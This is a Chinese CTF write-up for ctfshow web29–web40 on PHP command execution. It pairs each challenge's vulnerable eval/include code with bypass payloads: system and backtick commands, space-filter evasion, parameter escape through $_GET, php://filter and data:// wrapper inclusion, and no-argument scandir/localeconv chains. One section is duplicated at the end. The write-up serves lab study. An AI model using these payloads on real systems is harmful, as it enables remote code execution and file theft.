ctfshow-web入门——命令执行(1)(web29-web40)

命令执行(1)

web 29

error_reporting(0);
if(isset($_GET['c'])){  // get传参不为空,执行if语句
    $c = $_GET['c'];    // get传参,赋值给变量c
    if(!preg_match("/flag/i", $c)){ // 过滤flag,模式分隔符后的"i"标记这是一个大小写不敏感的搜索
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 
  • error_reporting()函数

设置 PHP 的报错级别并返回当前级别。
error_reporting(-1):表示显示所有PHP错误报告。

error_reporting(0); 表示关闭所有PHP错误报告,即禁用报错报告。

  • isset()函数

判断变量是否声明。

  • preg_match()函数

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

1.搜索 subject 与 pattern 给定的正则表达式的一个匹配。

  • $pattern: 要搜索的模式,字符串形式。
  • $subject: 输入字符串。

2.返回值为 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。

3.preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。

4.如果发生错误preg_match()返回 FALSE。

  • eval()函数

将字符串按照 PHP 代码来执行,该字符串必须是合法的 PHP 代码,且必须以分号结尾。

  • 绕过方法

方法1-直接执行系统命令
?c=system('ls');
?c=system("cat fl*g.php");
?c=system("tac fl*g.php");
?c=system("nl fla*");
?c=system("nl fla?g.php");
  • system()—执行shell命令也就是向dos发送一条指令。

  • cat命令读取文件的内容并将内容连续(concatenate)输出到标准输出,用于查看文件的内容。

  • tac命令和cat命令的功能一样,区别是cat将文件从第一行到最后一行连续显示到屏幕上,而tac则正好相反,从最后一行到第一行反向输出到屏幕上。

  • nl (Number of Lines) 将指定的文件添加行号标注后写到标准输出。如果不指定文件或指定文件为"-" ,程序将从标准输入读取数据。

    其默认的结果与cat有点不太一样,nl可以自定义行号显示效果(比如行号的位数和自动补全0)

  • '?‘和’*'都可以表示占位符,

    ?代表一个字符

    *代表一串字符

【cat需要查看源代码拿到flag】

方法2-内敛执行
?c=echo `tac f*`;
?c=echo `nl fl''ag.php`;
?c=echo `nl fl“”ag.php`;
?c=echo `nl fl\ag.php`;
  • 内敛执行:将``或$()内命令的输出作为输入执行
  • 在php中,反引号作用和system类似
方法3-利用cp命令将flag拷贝到其他文件,再访问
?c=system("cp fla?.php 1.txt");
访问1.txt
方法4-利用参数逃逸(eval)
?c=eval($_GET[1]);&1=phpinfo();
?c=eval($_GET[1]);&1=phpinfo()?>
?c=eval($_GET[1]);&1=system('nl flag.php');
方法5-利用参数逃逸(include)
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web 30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){ // 过滤了flag,system
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 
1.命令执行函数

system():执行外部程序并显示输出资料。

passthru():passthru与system的区别,passthru直接将结果输出到浏览器,不返回任何值,且其可以输出二进制,比如图像数据。

exec():执行外部程序。

shell_exec(),popen():打开文件。

proc_open(),pcntl_exec()

2.payload:
payload:
?c=echo `cat fl*`;
只是其一,还有很多方法

web 31

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        // 过滤掉flag,system,php,cat,sort,shell,点号,空格,单引号
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
1.嵌套eval执行,相当于参数逃逸

用一个跳板,传进去另一个参数,让其执行另一个参数的值,但是新的参数已经脱离了正则判断

2.绕过cat
tac more less head tac tail nl od(二进制查看) vi vim sort uniq

more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是
cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep

3.绕过空格
%09 <> ${IFS} $IFS$9 $IFS$
4.payload
payload:?c=eval($_GET[1]);&1=system("tac f*");
只是其一,还有很多方法

web 32

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        // 也过滤了分号和左边的括号
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
1.include

include逃逸参数 : ?c=include%0a$_GET[1]?>&1= // %0a换行符

include没有分号分隔,所以只是包含,并没有输出,文件包含的思路来做

include可以不用括号,分号可以用?>代替,include函数传入的参数不能执行系统命令

2.filter

利用文件包含插件LFI : php://filter/convert.base64-encode/resource= 变相读取任意文件

filter:过滤器或伪协议,通过指定的一个通道,来读取某个文件或者资源

读到的资源先用base64编码,不编码,是看不到源文件的

3.php://filter

resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表> 可以设定一个或多个过滤器名称,以管道符()分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符()分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

4.payload
payload: 
?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web33

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
} 
1.require

在PHP中,有两种包含外部文件的方式,分别是include和require。

主要区别:如果文件不存在或发生了错误,require产生E_COMPILE_ERROR级别的错误,程序停止运行。而include只产生警告,脚本会继续执行。

2.payload
payload:
?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web34

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
1.多过滤了冒号,不影响参数逃逸和伪协议的使用
2.payload
payload:
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web35

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
1.多过滤了左尖括号和等号,同上
2.payload
payload:
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web36

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
1.过滤了数字0-9,可以将参数逃逸,1改为a

注意:%0a是换行符,url解码出来直接是换行符,不包含0

2.payload
payload:
?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        // 题目过滤了flag,使用了include文件包含
        echo $flag;
    
    }

}else{
    highlight_file(__FILE__);
}
1.data伪协议
  • php伪协议,伪协议把后面的字符作为php代码执行
  • data:// 类似于php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
data://text/plain;base64,xxxx(base64编码后的数据)
  • ???:还可以配合UA头执行日志包含,?c=/var/log/nginx/access.log[疑问点]
2.payload
payload:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg== 
此处也可以不利用base64编码
base64编码:

注意system语句后面的分号

web38

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }

}else{
    highlight_file(__FILE__);
}
1.题目分析
  • 过滤了flag,php,file
  • 这里可以同样使用上题的data伪协议的base64编码,但是也可以利用短标签
2.payload
payload:
?c=data://text/plain,
再访问1.txt

web39

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}
1.着重理解代码执行和文件包含的关系

通过后缀限制了include,但是仍然可以使用data伪协议,data://text/plain相当于执行了php语句,至于.php,由于前面的语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,就不再起作用了!!

2.payload
payload:
?c=data://text/plain,

web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

// 没有过滤字母,分号,英文括号,下划线
方法1.无参数文件读取

通过货币信息取点,扫描当前目录,把目录结果进行翻转,取下一个,再显示源码

payload:
show_source(next(array_reverse(scandir(pos(localeconv()))))); 
highlight_file(next(array_reverse(scandir(pos(localeconv())))));
highlight_file()函数:对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。

show_source(): highlight_file() 的别名。

array_reverse():将数组逆序排列

scandir():函数返回一个数组,其中包含指定路径中的文件和目录(获取目录下的文件)

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)

pos():返回数组中的当前元素的值

next(): 函数将内部指针指向数组中的下一个元素,并输出。

先用**print_r(scandir(current(localeconv())));**打印出当前目录下文件,发现flag.php,将其打印显示出来

在这里插入图片描述

方法2.构造数组+rce:远程代码执行

打印当前所有变量 print_r(get_defined_vars());

get_defined_vars() :函数返回由所有已定义变量所组成的数组。

拿到数组,再拿数组值,数组弹出并打印:print(array_pop(next(get_defined_vars())));

array_pop() 函数删除数组中的最后一个元素。
payload:
eval(array_pop(next(get_defined_vars())));
post传参:1=system("tac fla?.php");
方法3.利用session
  • Session就是保存在服务器的文本文件。
  • 每一次SESSION会话都有一个SESSION ID,用来识别不同的会话,保存在浏览器Cookie之中,也就是这个名为PHPSESSID的Cookie(可以修改)。
  • 浏览器将Cookie(包括PHPSESSID)发送给服务器,PHP才知道应该使用哪一个SESSION传递给PHP程序。
payload:
?c=show_source(session_id(session_start()));
cookie为PHPSESSID=flag.php
session_start(): 告诉PHP使用session;
session_id(): 获取到当前的session_id值;

但是此题无法获取flag,受php版本影响 5.5 -7.1.9均可以执行。因为session_id规定为0-9,a-z,A-Z,-中的字符,在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。

更多知识点参考:先知社区https://xz.aliyun.com/t/10947
`

方法3.利用session
  • Session就是保存在服务器的文本文件。
  • 每一次SESSION会话都有一个SESSION ID,用来识别不同的会话,保存在浏览器Cookie之中,也就是这个名为PHPSESSID的Cookie(可以修改)。
  • 浏览器将Cookie(包括PHPSESSID)发送给服务器,PHP才知道应该使用哪一个SESSION传递给PHP程序。
payload:
?c=show_source(session_id(session_start()));
cookie为PHPSESSID=flag.php
session_start(): 告诉PHP使用session;
session_id(): 获取到当前的session_id值;

但是此题无法获取flag,受php版本影响 5.5 -7.1.9均可以执行。因为session_id规定为0-9,a-z,A-Z,-中的字符,在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。

更多知识点参考:先知社区https://xz.aliyun.com/t/10947

你可能感兴趣的:(Web,php,开发语言,安全,web安全,网络安全)